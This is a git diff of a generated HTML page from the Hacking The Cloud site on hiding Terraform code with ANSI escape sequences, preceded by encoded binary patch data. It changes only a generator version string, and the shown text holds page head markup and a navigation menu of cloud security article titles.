zP!n7`SusUPs;`BruqT#sergPfGi#%C?iO7dS{Dz&M<dx*ME{(3&)gWQw{^)Tddbes
z@%F%H8`7%=+{w<(Auj!KLXo{;^+o&+p1>e9VG?Rd#aiQ-!=i)Q$KTu`xF~xSwxsM}
zFsMIs-~07z);pN8sDuH$ul|!&Dx4%V*r$4nOa!B`{-PX6S*qtAPLf(`y-+p}wTRVZ
zMod}~NhfJ|ZUJ!ILHopUF0i5j6UusRWYo_h9L~LJ2{zM%Ti6n>EVySVA%^1^Gbtgw
zTQ$3Nbrf~KY~J@V&WS3d2Bwfapq31viig&Z3yK}9x|}2^ia*vgg1oQa$f)=Fkj$i3
z?f#$M{m|;&`+FVWpnZ(H6<^)k>Fw7ma#HotaBCbqlrMUcw%n}@<;_ldyUg$&oO!F-
zc;Dztjeo|pNZWI}vmw4$y24KS0(Q^}uD5!3X*iuX`GXl(kFd9>N)nj2R@!4ZcTO<q
zKE__;V7*;_6C2@A?I9A_oRE*I)b65LMPiFITN9Y*z+}3Z#+M^e{Dd{uCkgqzSy@59
dhp2pJn`9jl{ErQ>`j3F0{stPJavJ6=008T#sF45w

diff --git a/terraform/terraform_ansi_escape_evasion/index.html b/terraform/terraform_ansi_escape_evasion/index.html
index 078c1836c..1fced90a3 100644
--- a/terraform/terraform_ansi_escape_evasion/index.html
+++ b/terraform/terraform_ansi_escape_evasion/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Using ANSI Escape Sequences to Hide Malicious Terraform Code"><link href=https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/ rel=canonical><link href=../../gcp/capture_the_flag/thunder_ctf/ rel=prev><link href=../terraform_enterprise_metadata_service/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../feed_rss_updated.xml><link rel=icon href=../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Terraform ANSI Escape - Hacking The Cloud</title><link rel=stylesheet href=../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../stylesheets/extra.css><script>__md_scope=new URL("../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Terraform ANSI Escape - Hacking The Cloud"><meta property=og:description content="Using ANSI Escape Sequences to Hide Malicious Terraform Code"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/terraform/terraform_ansi_escape_evasion.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Terraform ANSI Escape - Hacking The Cloud"><meta property=twitter:description content="Using ANSI Escape Sequences to Hide Malicious Terraform Code"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/terraform/terraform_ansi_escape_evasion.png> <link href="../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Using ANSI Escape Sequences to Hide Malicious Terraform Code"><link href=https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/ rel=canonical><link href=../../gcp/capture_the_flag/thunder_ctf/ rel=prev><link href=../terraform_enterprise_metadata_service/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../feed_rss_updated.xml><link rel=icon href=../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Terraform ANSI Escape - Hacking The Cloud</title><link rel=stylesheet href=../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../stylesheets/extra.css><script>__md_scope=new URL("../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Terraform ANSI Escape - Hacking The Cloud"><meta property=og:description content="Using ANSI Escape Sequences to Hide Malicious Terraform Code"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/terraform/terraform_ansi_escape_evasion.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Terraform ANSI Escape - Hacking The Cloud"><meta property=twitter:description content="Using ANSI Escape Sequences to Hide Malicious Terraform Code"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/terraform/terraform_ansi_escape_evasion.png> <link href="../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#terraform-ansi-escape class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Terraform ANSI Escape </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=./ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a 